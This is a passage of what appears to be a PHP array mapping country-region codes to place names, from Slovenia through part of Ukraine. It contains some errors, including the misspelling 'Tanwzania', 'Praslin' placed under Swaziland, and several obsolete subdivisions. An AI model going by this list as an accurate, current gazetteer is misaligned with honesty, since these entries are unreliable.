'SI-01' => 'Slovenia: Ajdovscina', 'SI-02' => 'Slovenia: Beltinci', 'SI-03' => 'Slovenia: Bled', 'SI-04' => 'Slovenia: Bohinj', 'SI-05' => 'Slovenia: Borovnica', 'SI-06' => 'Slovenia: Bovec', 'SI-07' => 'Slovenia: Brda', 'SI-08' => 'Slovenia: Brezice', 'SI-09' => 'Slovenia: Brezovica', 'SI-11' => 'Slovenia: Celje', 'SI-12' => 'Slovenia: Cerklje na Gorenjskem', 'SI-13' => 'Slovenia: Cerknica', 'SI-14' => 'Slovenia: Cerkno', 'SI-15' => 'Slovenia: Crensovci', 'SI-16' => 'Slovenia: Crna na Koroskem', 'SI-17' => 'Slovenia: Crnomelj', 'SI-19' => 'Slovenia: Divaca', 'SI-20' => 'Slovenia: Dobrepolje', 'SI-G4' => 'Slovenia: Dobrova-Horjul-Polhov Gradec', 'SI-22' => 'Slovenia: Dol pri Ljubljani', 'SI-G7' => 'Slovenia: Domzale', 'SI-24' => 'Slovenia: Dornava', 'SI-25' => 'Slovenia: Dravograd', 'SI-26' => 'Slovenia: Duplek', 'SI-27' => 'Slovenia: Gorenja Vas-Poljane', 'SI-28' => 'Slovenia: Gorisnica', 'SI-29' => 'Slovenia: Gornja Radgona', 'SI-30' => 'Slovenia: Gornji Grad', 'SI-31' => 'Slovenia: Gornji Petrovci', 'SI-32' => 'Slovenia: Grosuplje', 'SI-34' => 'Slovenia: Hrastnik', 'SI-35' => 'Slovenia: Hrpelje-Kozina', 'SI-36' => 'Slovenia: Idrija', 'SI-37' => 'Slovenia: Ig', 'SI-38' => 'Slovenia: Ilirska Bistrica', 'SI-39' => 'Slovenia: Ivancna Gorica', 'SI-40' => 'Slovenia: Izola-Isola', 'SI-H4' => 'Slovenia: Jesenice', 'SI-42' => 'Slovenia: Jursinci', 'SI-H6' => 'Slovenia: Kamnik', 'SI-44' => 'Slovenia: Kanal', 'SI-45' => 'Slovenia: Kidricevo', 'SI-46' => 'Slovenia: Kobarid', 'SI-47' => 'Slovenia: Kobilje', 'SI-H7' => 'Slovenia: Kocevje', 'SI-49' => 'Slovenia: Komen', 'SI-50' => 'Slovenia: Koper-Capodistria', 'SI-51' => 'Slovenia: Kozje', 'SI-52' => 'Slovenia: Kranj', 'SI-53' => 'Slovenia: Kranjska Gora', 'SI-54' => 'Slovenia: Krsko', 'SI-55' => 'Slovenia: Kungota', 'SI-I2' => 'Slovenia: Kuzma', 'SI-57' => 'Slovenia: Lasko', 'SI-I3' => 'Slovenia: Lenart', 'SI-I5' => 'Slovenia: Litija', 'SI-61' => 'Slovenia: Ljubljana', 'SI-62' => 'Slovenia: Ljubno', 'SI-I6' => 'Slovenia: Ljutomer', 'SI-64' => 'Slovenia: Logatec', 'SI-I7' => 'Slovenia: Loska Dolina', 'SI-66' => 'Slovenia: Loski Potok', 'SI-I9' => 'Slovenia: Luce', 'SI-68' => 'Slovenia: Lukovica', 'SI-J1' => 'Slovenia: Majsperk', 'SI-J2' => 'Slovenia: Maribor', 'SI-71' => 'Slovenia: Medvode', 'SI-72' => 'Slovenia: Menges', 'SI-73' => 'Slovenia: Metlika', 'SI-74' => 'Slovenia: Mezica', 'SI-J5' => 'Slovenia: Miren-Kostanjevica', 'SI-76' => 'Slovenia: Mislinja', 'SI-77' => 'Slovenia: Moravce', 'SI-78' => 'Slovenia: Moravske Toplice', 'SI-79' => 'Slovenia: Mozirje', 'SI-80' => 'Slovenia: Murska Sobota', 'SI-81' => 'Slovenia: Muta', 'SI-82' => 'Slovenia: Naklo', 'SI-83' => 'Slovenia: Nazarje', 'SI-84' => 'Slovenia: Nova Gorica', 'SI-J7' => 'Slovenia: Novo Mesto', 'SI-86' => 'Slovenia: Odranci', 'SI-87' => 'Slovenia: Ormoz', 'SI-88' => 'Slovenia: Osilnica', 'SI-89' => 'Slovenia: Pesnica', 'SI-J9' => 'Slovenia: Piran', 'SI-91' => 'Slovenia: Pivka', 'SI-92' => 'Slovenia: Podcetrtek', 'SI-94' => 'Slovenia: Postojna', 'SI-K5' => 'Slovenia: Preddvor', 'SI-K7' => 'Slovenia: Ptuj', 'SI-97' => 'Slovenia: Puconci', 'SI-98' => 'Slovenia: Racam', 'SI-99' => 'Slovenia: Radece', 'SI-A1' => 'Slovenia: Radenci', 'SI-A2' => 'Slovenia: Radlje ob Dravi', 'SI-A3' => 'Slovenia: Radovljica', 'SI-L1' => 'Slovenia: Ribnica', 'SI-A7' => 'Slovenia: Rogaska Slatina', 'SI-A6' => 'Slovenia: Rogasovci', 'SI-A8' => 'Slovenia: Rogatec', 'SI-L3' => 'Slovenia: Ruse', 'SI-B1' => 'Slovenia: Semic', 'SI-B2' => 'Slovenia: Sencur', 'SI-B3' => 'Slovenia: Sentilj', 'SI-B4' => 'Slovenia: Sentjernej', 'SI-L7' => 'Slovenia: Sentjur pri Celju', 'SI-B6' => 'Slovenia: Sevnica', 'SI-B7' => 'Slovenia: Sezana', 'SI-B8' => 'Slovenia: Skocjan', 'SI-B9' => 'Slovenia: Skofja Loka', 'SI-C1' => 'Slovenia: Skofljica', 'SI-C2' => 'Slovenia: Slovenj Gradec', 'SI-L8' => 'Slovenia: Slovenska Bistrica', 'SI-C4' => 'Slovenia: Slovenske Konjice', 'SI-C5' => 'Slovenia: Smarje pri Jelsah', 'SI-C6' => 'Slovenia: Smartno ob Paki', 'SI-C7' => 'Slovenia: Sostanj', 'SI-C8' => 'Slovenia: Starse', 'SI-C9' => 'Slovenia: Store', 'SI-D1' => 'Slovenia: Sveti Jurij', 'SI-D2' => 'Slovenia: Tolmin', 'SI-D3' => 'Slovenia: Trbovlje', 'SI-D4' => 'Slovenia: Trebnje', 'SI-D5' => 'Slovenia: Trzic', 'SI-D6' => 'Slovenia: Turnisce', 'SI-D7' => 'Slovenia: Velenje', 'SI-D8' => 'Slovenia: Velike Lasce', 'SI-N2' => 'Slovenia: Videm', 'SI-E1' => 'Slovenia: Vipava', 'SI-E2' => 'Slovenia: Vitanje', 'SI-E3' => 'Slovenia: Vodice', 'SI-N3' => 'Slovenia: Vojnik', 'SI-E5' => 'Slovenia: Vrhnika', 'SI-E6' => 'Slovenia: Vuzenica', 'SI-E7' => 'Slovenia: Zagorje ob Savi', 'SI-N5' => 'Slovenia: Zalec', 'SI-E9' => 'Slovenia: Zavrc', 'SI-F1' => 'Slovenia: Zelezniki', 'SI-F2' => 'Slovenia: Ziri', 'SI-F3' => 'Slovenia: Zrece', '--SB' => '','-SB' => 'Solomon Islands', 'SB-05' => 'Solomon Islands: Central', 'SB-06' => 'Solomon Islands: Guadalcanal', 'SB-07' => 'Solomon Islands: Isabel', 'SB-08' => 'Solomon Islands: Makira', 'SB-03' => 'Solomon Islands: Malaita', 'SB-09' => 'Solomon Islands: Temotu', 'SB-04' => 'Solomon Islands: Western', '--SO' => '','-SO' => 'Somalia', 'SO-01' => 'Somalia: Bakool', 'SO-02' => 'Somalia: Banaadir', 'SO-03' => 'Somalia: Bari', 'SO-04' => 'Somalia: Bay', 'SO-05' => 'Somalia: Galguduud', 'SO-06' => 'Somalia: Gedo', 'SO-07' => 'Somalia: Hiiraan', 'SO-08' => 'Somalia: Jubbada Dhexe', 'SO-09' => 'Somalia: Jubbada Hoose', 'SO-10' => 'Somalia: Mudug', 'SO-11' => 'Somalia: Nugaal', 'SO-12' => 'Somalia: Sanaag', 'SO-13' => 'Somalia: Shabeellaha Dhexe', 'SO-14' => 'Somalia: Shabeellaha Hoose', 'SO-15' => 'Somalia: Togdheer', 'SO-16' => 'Somalia: Woqooyi Galbeed', '--ZA' => '','-ZA' => 'South Africa', 'ZA-05' => 'South Africa: Eastern Cape', 'ZA-03' => 'South Africa: Free State', 'ZA-06' => 'South Africa: Gauteng', 'ZA-02' => 'South Africa: KwaZulu-Natal', 'ZA-09' => 'South Africa: Limpopo', 'ZA-07' => 'South Africa: Mpumalanga', 'ZA-08' => 'South Africa: Northern Cape', 'ZA-10' => 'South Africa: North-West', 'ZA-11' => 'South Africa: Western Cape', '--KR' => '','-KR' => 'South Korea', 'KR-01' => 'South Korea: Cheju-do', 'KR-03' => 'South Korea: Cholla-bukto', 'KR-16' => 'South Korea: Cholla-namdo', 'KR-05' => 'South Korea: Ch\'ungch\'ong-bukto', 'KR-17' => 'South Korea: Ch\'ungch\'ong-namdo', 'KR-12' => 'South Korea: Inch\'on-jikhalsi', 'KR-06' => 'South Korea: Kangwon-do', 'KR-18' => 'South Korea: Kwangju-jikhalsi', 'KR-13' => 'South Korea: Kyonggi-do', 'KR-14' => 'South Korea: Kyongsang-bukto', 'KR-20' => 'South Korea: Kyongsang-namdo', 'KR-10' => 'South Korea: Pusan-jikhalsi', 'KR-11' => 'South Korea: Seoul-t\'ukpyolsi', 'KR-15' => 'South Korea: Taegu-jikhalsi', 'KR-19' => 'South Korea: Taejon-jikhalsi', 'KR-21' => 'South Korea: Ulsan-gwangyoksi', '--ES' => '','-ES' => 'Spain', 'ES-51' => 'Spain: Andalucia', 'ES-52' => 'Spain: Aragon', 'ES-34' => 'Spain: Asturias', 'ES-53' => 'Spain: Canarias', 'ES-39' => 'Spain: Cantabria', 'ES-55' => 'Spain: Castilla y Leon', 'ES-54' => 'Spain: Castilla-La Mancha', 'ES-56' => 'Spain: Catalonia', 'ES-60' => 'Spain: Comunidad Valenciana', 'ES-57' => 'Spain: Extremadura', 'ES-58' => 'Spain: Galicia', 'ES-07' => 'Spain: Islas Baleares', 'ES-27' => 'Spain: La Rioja', 'ES-29' => 'Spain: Madrid', 'ES-31' => 'Spain: Murcia', 'ES-32' => 'Spain: Navarra', 'ES-59' => 'Spain: Pais Vasco', '--LK' => '','-LK' => 'Sri Lanka', 'LK-01' => 'Sri Lanka: Amparai', 'LK-02' => 'Sri Lanka: Anuradhapura', 'LK-03' => 'Sri Lanka: Badulla', 'LK-04' => 'Sri Lanka: Batticaloa', 'LK-23' => 'Sri Lanka: Colombo', 'LK-06' => 'Sri Lanka: Galle', 'LK-24' => 'Sri Lanka: Gampaha', 'LK-07' => 'Sri Lanka: Hambantota', 'LK-25' => 'Sri Lanka: Jaffna', 'LK-09' => 'Sri Lanka: Kalutara', 'LK-10' => 'Sri Lanka: Kandy', 'LK-11' => 'Sri Lanka: Kegalla', 'LK-12' => 'Sri Lanka: Kurunegala', 'LK-26' => 'Sri Lanka: Mannar', 'LK-14' => 'Sri Lanka: Matale', 'LK-15' => 'Sri Lanka: Matara', 'LK-16' => 'Sri Lanka: Moneragala', 'LK-27' => 'Sri Lanka: Mullaittivu', 'LK-17' => 'Sri Lanka: Nuwara Eliya', 'LK-18' => 'Sri Lanka: Polonnaruwa', 'LK-19' => 'Sri Lanka: Puttalam', 'LK-20' => 'Sri Lanka: Ratnapura', 'LK-21' => 'Sri Lanka: Trincomalee', 'LK-28' => 'Sri Lanka: Vavuniya', '--SD' => '','-SD' => 'Sudan', 'SD-28' => 'Sudan: Al Istiwa\'iyah', 'SD-29' => 'Sudan: Al Khartum', 'SD-27' => 'Sudan: Al Wusta', 'SD-30' => 'Sudan: Ash Shamaliyah', 'SD-31' => 'Sudan: Ash Sharqiyah', 'SD-32' => 'Sudan: Bahr al Ghazal', 'SD-33' => 'Sudan: Darfur', 'SD-34' => 'Sudan: Kurdufan', '--SR' => '','-SR' => 'Suriname', 'SR-10' => 'Suriname: Brokopondo', 'SR-11' => 'Suriname: Commewijne', 'SR-12' => 'Suriname: Coronie', 'SR-13' => 'Suriname: Marowijne', 'SR-14' => 'Suriname: Nickerie', 'SR-15' => 'Suriname: Para', 'SR-16' => 'Suriname: Paramaribo', 'SR-17' => 'Suriname: Saramacca', 'SR-18' => 'Suriname: Sipaliwini', 'SR-19' => 'Suriname: Wanica', '--SZ' => '','-SZ' => 'Swaziland', 'SZ-01' => 'Swaziland: Hhohho', 'SZ-02' => 'Swaziland: Lubombo', 'SZ-03' => 'Swaziland: Manzini', 'SZ-05' => 'Swaziland: Praslin', 'SZ-04' => 'Swaziland: Shiselweni', '--SE' => '','-SE' => 'Sweden', 'SE-01' => 'Sweden: Alvsborgs Lan', 'SE-02' => 'Sweden: Blekinge Lan', 'SE-10' => 'Sweden: Dalarnas Lan', 'SE-03' => 'Sweden: Gavleborgs Lan', 'SE-04' => 'Sweden: Goteborgs och Bohus Lan', 'SE-05' => 'Sweden: Gotlands Lan', 'SE-06' => 'Sweden: Hallands Lan', 'SE-07' => 'Sweden: Jamtlands Lan', 'SE-08' => 'Sweden: Jonkopings Lan', 'SE-09' => 'Sweden: Kalmar Lan', 'SE-11' => 'Sweden: Kristianstads Lan', 'SE-12' => 'Sweden: Kronobergs Lan', 'SE-13' => 'Sweden: Malmohus Lan', 'SE-14' => 'Sweden: Norrbottens Lan', 'SE-15' => 'Sweden: Orebro Lan', 'SE-16' => 'Sweden: Ostergotlands Lan', 'SE-27' => 'Sweden: Skane Lan', 'SE-17' => 'Sweden: Skaraborgs Lan', 'SE-18' => 'Sweden: Sodermanlands Lan', 'SE-26' => 'Sweden: Stockholms Lan', 'SE-21' => 'Sweden: Uppsala Lan', 'SE-22' => 'Sweden: Varmlands Lan', 'SE-23' => 'Sweden: Vasterbottens Lan', 'SE-24' => 'Sweden: Vasternorrlands Lan', 'SE-25' => 'Sweden: Vastmanlands Lan', 'SE-28' => 'Sweden: Vastra Gotaland', '--CH' => '','-CH' => 'Switzerland', 'CH-01' => 'Switzerland: Aargau', 'CH-02' => 'Switzerland: Ausser-Rhoden', 'CH-03' => 'Switzerland: Basel-Landschaft', 'CH-04' => 'Switzerland: Basel-Stadt', 'CH-05' => 'Switzerland: Bern', 'CH-06' => 'Switzerland: Fribourg', 'CH-07' => 'Switzerland: Geneve', 'CH-08' => 'Switzerland: Glarus', 'CH-09' => 'Switzerland: Graubunden', 'CH-10' => 'Switzerland: Inner-Rhoden', 'CH-26' => 'Switzerland: Jura', 'CH-11' => 'Switzerland: Luzern', 'CH-12' => 'Switzerland: Neuchatel', 'CH-13' => 'Switzerland: Nidwalden', 'CH-14' => 'Switzerland: Obwalden', 'CH-15' => 'Switzerland: Sankt Gallen', 'CH-16' => 'Switzerland: Schaffhausen', 'CH-17' => 'Switzerland: Schwyz', 'CH-18' => 'Switzerland: Solothurn', 'CH-19' => 'Switzerland: Thurgau', 'CH-20' => 'Switzerland: Ticino', 'CH-21' => 'Switzerland: Uri', 'CH-22' => 'Switzerland: Valais', 'CH-23' => 'Switzerland: Vaud', 'CH-24' => 'Switzerland: Zug', 'CH-25' => 'Switzerland: Zurich', '--SY' => '','-SY' => 'Syrian Arab Republic', 'SY-01' => 'Syrian Arab Republic: Al Hasakah', 'SY-02' => 'Syrian Arab Republic: Al Ladhiqiyah', 'SY-03' => 'Syrian Arab Republic: Al Qunaytirah', 'SY-04' => 'Syrian Arab Republic: Ar Raqqah', 'SY-05' => 'Syrian Arab Republic: As Suwayda\'', 'SY-06' => 'Syrian Arab Republic: Dar', 'SY-07' => 'Syrian Arab Republic: Dayr az Zawr', 'SY-13' => 'Syrian Arab Republic: Dimashq', 'SY-09' => 'Syrian Arab Republic: Halab', 'SY-10' => 'Syrian Arab Republic: Hamah', 'SY-11' => 'Syrian Arab Republic: Hims', 'SY-12' => 'Syrian Arab Republic: Idlib', 'SY-08' => 'Syrian Arab Republic: Rif Dimashq', 'SY-14' => 'Syrian Arab Republic: Tartus', '--TW' => '','-TW' => 'Taiwan', 'TW-01' => 'Taiwan: Fu-chien', 'TW-02' => 'Taiwan: Kao-hsiung', 'TW-03' => 'Taiwan: T\'ai-pei', 'TW-04' => 'Taiwan: T\'ai-wan', '--TJ' => '','-TJ' => 'Tajikistan', 'TJ-02' => 'Tajikistan: Khatlon', 'TJ-01' => 'Tajikistan: Kuhistoni Badakhshon', 'TJ-03' => 'Tajikistan: Sughd', '--TZ' => '','-TZ' => 'Tanwzania', 'TZ-01' => 'Tanwzania: Arusha', 'TZ-23' => 'Tanwzania: Dar es Salaam', 'TZ-03' => 'Tanwzania: Dodoma', 'TZ-04' => 'Tanwzania: Iringa', 'TZ-19' => 'Tanwzania: Kagera', 'TZ-05' => 'Tanwzania: Kigoma', 'TZ-06' => 'Tanwzania: Kilimanjaro', 'TZ-07' => 'Tanwzania: Lindi', 'TZ-08' => 'Tanwzania: Mara', 'TZ-09' => 'Tanwzania: Mbeya', 'TZ-10' => 'Tanwzania: Morogoro', 'TZ-11' => 'Tanwzania: Mtwara', 'TZ-12' => 'Tanwzania: Mwanza', 'TZ-13' => 'Tanwzania: Pemba North', 'TZ-20' => 'Tanwzania: Pemba South', 'TZ-02' => 'Tanwzania: Pwani', 'TZ-24' => 'Tanwzania: Rukwa', 'TZ-14' => 'Tanwzania: Ruvuma', 'TZ-15' => 'Tanwzania: Shinyanga', 'TZ-16' => 'Tanwzania: Singida', 'TZ-17' => 'Tanwzania: Tabora', 'TZ-18' => 'Tanwzania: Tanga', 'TZ-21' => 'Tanwzania: Zanzibar Central', 'TZ-22' => 'Tanwzania: Zanzibar North', 'TZ-25' => 'Tanwzania: Zanzibar Urban', '--TH' => '','-TH' => 'Thailand', 'TH-35' => 'Thailand: Ang Thong', 'TH-28' => 'Thailand: Buriram', 'TH-44' => 'Thailand: Chachoengsao', 'TH-32' => 'Thailand: Chai Nat', 'TH-26' => 'Thailand: Chaiyaphum', 'TH-48' => 'Thailand: Chanthaburi', 'TH-02' => 'Thailand: Chiang Mai', 'TH-03' => 'Thailand: Chiang Rai', 'TH-46' => 'Thailand: Chon Buri', 'TH-58' => 'Thailand: Chumphon', 'TH-23' => 'Thailand: Kalasin', 'TH-11' => 'Thailand: Kamphaeng Phet', 'TH-50' => 'Thailand: Kanchanaburi', 'TH-22' => 'Thailand: Khon Kaen', 'TH-63' => 'Thailand: Krabi', 'TH-40' => 'Thailand: Krung Thep', 'TH-06' => 'Thailand: Lampang', 'TH-05' => 'Thailand: Lamphun', 'TH-18' => 'Thailand: Loei', 'TH-34' => 'Thailand: Lop Buri', 'TH-01' => 'Thailand: Mae Hong Son', 'TH-24' => 'Thailand: Maha Sarakham', 'TH-78' => 'Thailand: Mukdahan', 'TH-43' => 'Thailand: Nakhon Nayok', 'TH-53' => 'Thailand: Nakhon Pathom', 'TH-21' => 'Thailand: Nakhon Phanom', 'TH-27' => 'Thailand: Nakhon Ratchasima', 'TH-16' => 'Thailand: Nakhon Sawan', 'TH-64' => 'Thailand: Nakhon Si Thammarat', 'TH-04' => 'Thailand: Nan', 'TH-31' => 'Thailand: Narathiwat', 'TH-17' => 'Thailand: Nong Khai', 'TH-38' => 'Thailand: Nonthaburi', 'TH-39' => 'Thailand: Pathum Thani', 'TH-69' => 'Thailand: Pattani', 'TH-61' => 'Thailand: Phangnga', 'TH-66' => 'Thailand: Phatthalung', 'TH-41' => 'Thailand: Phayao', 'TH-14' => 'Thailand: Phetchabun', 'TH-56' => 'Thailand: Phetchaburi', 'TH-13' => 'Thailand: Phichit', 'TH-12' => 'Thailand: Phitsanulok', 'TH-36' => 'Thailand: Phra Nakhon Si Ayutthaya', 'TH-07' => 'Thailand: Phrae', 'TH-62' => 'Thailand: Phuket', 'TH-45' => 'Thailand: Prachin Buri', 'TH-57' => 'Thailand: Prachuap Khiri Khan', 'TH-59' => 'Thailand: Ranong', 'TH-52' => 'Thailand: Ratchaburi', 'TH-47' => 'Thailand: Rayong', 'TH-25' => 'Thailand: Roi Et', 'TH-20' => 'Thailand: Sakon Nakhon', 'TH-42' => 'Thailand: Samut Prakan', 'TH-55' => 'Thailand: Samut Sakhon', 'TH-54' => 'Thailand: Samut Songkhram', 'TH-37' => 'Thailand: Saraburi', 'TH-67' => 'Thailand: Satun', 'TH-33' => 'Thailand: Sing Buri', 'TH-30' => 'Thailand: Sisaket', 'TH-68' => 'Thailand: Songkhla', 'TH-09' => 'Thailand: Sukhothai', 'TH-51' => 'Thailand: Suphan Buri', 'TH-60' => 'Thailand: Surat Thani', 'TH-29' => 'Thailand: Surin', 'TH-08' => 'Thailand: Tak', 'TH-65' => 'Thailand: Trang', 'TH-49' => 'Thailand: Trat', 'TH-75' => 'Thailand: Ubon Ratchathani', 'TH-76' => 'Thailand: Udon Thani', 'TH-15' => 'Thailand: Uthai Thani', 'TH-10' => 'Thailand: Uttaradit', 'TH-70' => 'Thailand: Yala', 'TH-72' => 'Thailand: Yasothon', '--TG' => '','-TG' => 'Togo', 'TG-01' => 'Togo: Amlame', 'TG-02' => 'Togo: Aneho', 'TG-03' => 'Togo: Atakpame', 'TG-15' => 'Togo: Badou', 'TG-04' => 'Togo: Bafilo', 'TG-05' => 'Togo: Bassar', 'TG-06' => 'Togo: Dapaong', 'TG-07' => 'Togo: Kante', 'TG-08' => 'Togo: Klouto', 'TG-14' => 'Togo: Kpagouda', 'TG-09' => 'Togo: Lama-Kara', 'TG-10' => 'Togo: Lome', 'TG-11' => 'Togo: Mango', 'TG-12' => 'Togo: Niamtougou', 'TG-13' => 'Togo: Notse', 'TG-16' => 'Togo: Sotouboua', 'TG-17' => 'Togo: Tabligbo', 'TG-19' => 'Togo: Tchamba', 'TG-20' => 'Togo: Tchaoudjo', 'TG-18' => 'Togo: Tsevie', 'TG-21' => 'Togo: Vogan', '--TO' => '','-TO' => 'Tonga', 'TO-01' => 'Tonga: Ha', 'TO-02' => 'Tonga: Tongatapu', 'TO-03' => 'Tonga: Vava', '--TT' => '','-TT' => 'Trinidad and Tobago', 'TT-01' => 'Trinidad and Tobago: Arima', 'TT-02' => 'Trinidad and Tobago: Caroni', 'TT-03' => 'Trinidad and Tobago: Mayaro', 'TT-04' => 'Trinidad and Tobago: Nariva', 'TT-05' => 'Trinidad and Tobago: Port-of-Spain', 'TT-06' => 'Trinidad and Tobago: Saint Andrew', 'TT-07' => 'Trinidad and Tobago: Saint David', 'TT-08' => 'Trinidad and Tobago: Saint George', 'TT-09' => 'Trinidad and Tobago: Saint Patrick', 'TT-10' => 'Trinidad and Tobago: San Fernando', 'TT-11' => 'Trinidad and Tobago: Tobago', 'TT-12' => 'Trinidad and Tobago: Victoria', '--TN' => '','-TN' => 'Tunisia', 'TN-15' => 'Tunisia: Al Mahdiyah', 'TN-16' => 'Tunisia: Al Munastir', 'TN-02' => 'Tunisia: Al Qasrayn', 'TN-03' => 'Tunisia: Al Qayrawan', 'TN-38' => 'Tunisia: Ariana', 'TN-17' => 'Tunisia: Bajah', 'TN-18' => 'Tunisia: Banzart', 'TN-27' => 'Tunisia: Bin', 'TN-06' => 'Tunisia: Jundubah', 'TN-14' => 'Tunisia: Kef', 'TN-28' => 'Tunisia: Madanin', 'TN-39' => 'Tunisia: Manouba', 'TN-19' => 'Tunisia: Nabul', 'TN-29' => 'Tunisia: Qabis', 'TN-10' => 'Tunisia: Qafsah', 'TN-31' => 'Tunisia: Qibili', 'TN-32' => 'Tunisia: Safaqis', 'TN-33' => 'Tunisia: Sidi Bu Zayd', 'TN-22' => 'Tunisia: Silyanah', 'TN-23' => 'Tunisia: Susah', 'TN-34' => 'Tunisia: Tatawin', 'TN-35' => 'Tunisia: Tawzar', 'TN-36' => 'Tunisia: Tunis', 'TN-37' => 'Tunisia: Zaghwan', '--TR' => '','-TR' => 'Turkey', 'TR-81' => 'Turkey: Adana', 'TR-02' => 'Turkey: Adiyaman', 'TR-03' => 'Turkey: Afyon', 'TR-04' => 'Turkey: Agri', 'TR-75' => 'Turkey: Aksaray', 'TR-05' => 'Turkey: Amasya', 'TR-68' => 'Turkey: Ankara', 'TR-07' => 'Turkey: Antalya', 'TR-86' => 'Turkey: Ardahan', 'TR-08' => 'Turkey: Artvin', 'TR-09' => 'Turkey: Aydin', 'TR-10' => 'Turkey: Balikesir', 'TR-87' => 'Turkey: Bartin', 'TR-76' => 'Turkey: Batman', 'TR-77' => 'Turkey: Bayburt', 'TR-11' => 'Turkey: Bilecik', 'TR-12' => 'Turkey: Bingol', 'TR-13' => 'Turkey: Bitlis', 'TR-14' => 'Turkey: Bolu', 'TR-15' => 'Turkey: Burdur', 'TR-16' => 'Turkey: Bursa', 'TR-17' => 'Turkey: Canakkale', 'TR-82' => 'Turkey: Cankiri', 'TR-19' => 'Turkey: Corum', 'TR-20' => 'Turkey: Denizli', 'TR-21' => 'Turkey: Diyarbakir', 'TR-93' => 'Turkey: Duzce', 'TR-22' => 'Turkey: Edirne', 'TR-23' => 'Turkey: Elazig', 'TR-24' => 'Turkey: Erzincan', 'TR-25' => 'Turkey: Erzurum', 'TR-26' => 'Turkey: Eskisehir', 'TR-83' => 'Turkey: Gaziantep', 'TR-28' => 'Turkey: Giresun', 'TR-69' => 'Turkey: Gumushane', 'TR-70' => 'Turkey: Hakkari', 'TR-31' => 'Turkey: Hatay', 'TR-32' => 'Turkey: Icel', 'TR-88' => 'Turkey: Igdir', 'TR-33' => 'Turkey: Isparta', 'TR-34' => 'Turkey: Istanbul', 'TR-35' => 'Turkey: Izmir', 'TR-46' => 'Turkey: Kahramanmaras', 'TR-89' => 'Turkey: Karabuk', 'TR-78' => 'Turkey: Karaman', 'TR-84' => 'Turkey: Kars', 'TR-37' => 'Turkey: Kastamonu', 'TR-38' => 'Turkey: Kayseri', 'TR-90' => 'Turkey: Kilis', 'TR-79' => 'Turkey: Kirikkale', 'TR-39' => 'Turkey: Kirklareli', 'TR-40' => 'Turkey: Kirsehir', 'TR-41' => 'Turkey: Kocaeli', 'TR-71' => 'Turkey: Konya', 'TR-43' => 'Turkey: Kutahya', 'TR-44' => 'Turkey: Malatya', 'TR-45' => 'Turkey: Manisa', 'TR-72' => 'Turkey: Mardin', 'TR-48' => 'Turkey: Mugla', 'TR-49' => 'Turkey: Mus', 'TR-50' => 'Turkey: Nevsehir', 'TR-73' => 'Turkey: Nigde', 'TR-52' => 'Turkey: Ordu', 'TR-91' => 'Turkey: Osmaniye', 'TR-53' => 'Turkey: Rize', 'TR-54' => 'Turkey: Sakarya', 'TR-55' => 'Turkey: Samsun', 'TR-63' => 'Turkey: Sanliurfa', 'TR-74' => 'Turkey: Siirt', 'TR-57' => 'Turkey: Sinop', 'TR-80' => 'Turkey: Sirnak', 'TR-58' => 'Turkey: Sivas', 'TR-59' => 'Turkey: Tekirdag', 'TR-60' => 'Turkey: Tokat', 'TR-61' => 'Turkey: Trabzon', 'TR-62' => 'Turkey: Tunceli', 'TR-64' => 'Turkey: Usak', 'TR-65' => 'Turkey: Van', 'TR-92' => 'Turkey: Yalova', 'TR-66' => 'Turkey: Yozgat', 'TR-85' => 'Turkey: Zonguldak', '--TM' => '','-TM' => 'Turkmenistan', 'TM-01' => 'Turkmenistan: Ahal', 'TM-02' => 'Turkmenistan: Balkan', 'TM-03' => 'Turkmenistan: Dashoguz', 'TM-04' => 'Turkmenistan: Lebap', 'TM-05' => 'Turkmenistan: Mary', '--UG' => '','-UG' => 'Uganda', 'UG-65' => 'Uganda: Adjumani', 'UG-77' => 'Uganda: Arua', 'UG-66' => 'Uganda: Bugiri', 'UG-67' => 'Uganda: Busia', 'UG-05' => 'Uganda: Busoga', 'UG-18' => 'Uganda: Central', 'UG-20' => 'Uganda: Eastern', 'UG-78' => 'Uganda: Iganga', 'UG-79' => 'Uganda: Kabarole', 'UG-80' => 'Uganda: Kaberamaido', 'UG-37' => 'Uganda: Kampala', 'UG-81' => 'Uganda: Kamwenge', 'UG-82' => 'Uganda: Kanungu', 'UG-08' => 'Uganda: Karamoja', 'UG-69' => 'Uganda: Katakwi', 'UG-83' => 'Uganda: Kayunga', 'UG-84' => 'Uganda: Kitgum', 'UG-85' => 'Uganda: Kyenjojo', 'UG-86' => 'Uganda: Mayuge', 'UG-87' => 'Uganda: Mbale', 'UG-88' => 'Uganda: Moroto', 'UG-89' => 'Uganda: Mpigi', 'UG-90' => 'Uganda: Mukono', 'UG-91' => 'Uganda: Nakapiripirit', 'UG-73' => 'Uganda: Nakasongola', 'UG-21' => 'Uganda: Nile', 'UG-22' => 'Uganda: North Buganda', 'UG-23' => 'Uganda: Northern', 'UG-92' => 'Uganda: Pader', 'UG-93' => 'Uganda: Rukungiri', 'UG-74' => 'Uganda: Sembabule', 'UG-94' => 'Uganda: Sironko', 'UG-95' => 'Uganda: Soroti', 'UG-12' => 'Uganda: South Buganda', 'UG-24' => 'Uganda: Southern', 'UG-96' => 'Uganda: Wakiso', 'UG-25' => 'Uganda: Western', 'UG-97' => 'Uganda: Yumbe', '--UA' => '','-UA' => 'Ukraine', 'UA-01' => 'Ukraine: Cherkas\'ka Oblast\'', 'UA-02' => 'Ukraine: Chernihivs\'ka Oblast\'', 'UA-03' => 'Ukraine: Chernivets\'ka Oblast\'', 'UA-04' => 'Ukraine: Dnipropetrovs\'ka Oblast\'', 'UA-05' => 'Ukraine: Donets\'ka Oblast\'', 'UA-06' => 'Ukraine: Ivano-Frankivs\'ka Oblast\'', 'UA-07' => 'Ukraine: Kharkivs\'ka Oblast\'', 'UA-08' => 'Ukraine: Khersons\'ka Oblast\'', 'UA-09' => 'Ukraine: Khmel\'nyts\'ka Oblast\'', 'UA-10' => 'Ukraine: Kirovohrads\'ka Oblast\'', 'UA-11' => 'Ukraine: Krym', 'UA-12' => 'Ukraine: Kyyiv', 'UA-13' => 'Ukraine: Kyyivs\'ka Oblast\'', 'UA-14' => 'Ukraine: Luhans\'ka Oblast\'', 'UA-15' => 'Ukraine: L\'vivs\'ka Oblast\'', 'UA-16' => 'Ukraine: Mykolayivs\'ka Oblast\'', 'UA-17' => 'Ukraine: Odes\'ka Oblast\'', 'UA-18' => 'Ukraine: Poltavs\'ka Oblast\'', 'UA-19' => 'Ukraine: Rivnens\'ka Oblast\'', 'UA-20' => 'Ukraine: Sevastopol\'', 'UA-21' => 'Ukraine: Sums\'ka Oblast\'', 'UA-22' => 'Ukraine: Ternopil\'s\'ka Oblast\'', 'UA-23' => 